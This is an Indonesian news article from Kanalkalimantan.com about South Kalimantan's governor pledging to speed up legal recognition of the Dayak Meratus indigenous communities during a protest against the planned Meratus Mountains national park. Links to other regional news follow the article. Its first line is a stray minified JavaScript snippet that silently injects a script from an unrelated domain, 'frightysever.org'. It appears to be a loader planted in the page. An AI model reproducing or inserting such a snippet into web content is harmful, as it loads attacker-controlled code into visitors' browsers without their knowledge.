(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Gubernur Kalimantan Selatan, H Muhidin mendorong percepatan pengakuan Masyarakat Adat Dayak Meratus yang belum diakui melalui kepala daerah setempat.
Hal itu disampaikan saat menjumpai massa unjuk rasa penolakan pembentukan Taman Nasional Pegunungan Meratus di kantor Gubernur Kalsel, Jum’at (15/8/2025) siang.
“Kami akan menyurati bupati supaya mengakui masyarakat adat di daerah masing-masing,” kata Muhidin di hadapan para demonstran.
Dia menambahkan, Pemerintah Provinsi Kalsel akan menyusun draf untuk pengakuan suku Dayak Meratus di tiap kabupaten/kota se Kalsel.
Baca juga: Dampak Ekonomi Warga Tak Selesai, DPRD Banjarbaru Panggil BPJN Kalsel
“Kalau bupatinya tidak mau tanda tangan, berarti tidak mematuhi perintah gubernur,” tegas Muhidin.
H Muhidin turut meminta tiap komunitas adat membuat struktur organisasi mulai dari ketua, sekretaris, dan anggota.
“Nanti kelihatan masyarakat adat ada berapa, kalau sudah, tinggal diajukan ke kabupaten, lalu diteruskan ke provinsi,” jelasnya.
Percepatan status itu bertujuan agar Pemerintah Provinsi (Pemprov) Kalsel dapat membantu segala bentuk keperluan atau tradisi dari masyarakat adat.
Baca juga: Dua Anak Korban Kejatuhan Kontainer Jalani Operasi
“Provinsi bisa menghibahkan, misalnya mau aruh ganal minta hibah boleh, mau bangun balai adat bisa,” ungkap Muhidin.
Saat ini pihaknya belum bisa memberi bantuan sebab masyarakat adat masih terpencar dimana-mana.
Sementara itu, Aliansi Masyarakat Adat Nusantara (AMAN) Kalsel bersama Wahana Lingkungan Hidup (Walhi) Kalsel telah sejak lama memperjuangkan pengakuan Masyarakat Adat Dayak di Pegunungan Meratus.
Menurut Ketua AMAN Kalsel, Rubi, pihaknya memperjuangkan pengakuan masyarakat adat di sejumlah kabupaten seperti Kotabaru, Tanah Bumbu, Banjar, Tapin, Hulu Sungai Tengah, Hulu Sungai Selatan, Tabalong, dan Balangan.
Baca juga: Satu Kata Tolak Taman Nasional Pegunungan Meratus!
“Itu harus segera dilakukan pengakuan bagi masyarakat adat yang belum diakui sesuai dengan Perda Provinsi Kalsel Nomor 2 Tahun 2023 tentang Pengakuan dan Perlindungan Masyarakat Hukum Adat,” kata Rubi. (Kanalkalimantan.com/fahmi)
Reporter: fahmi
Editor: bie
KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More
KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More
KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More
Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More
Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More
This website uses cookies.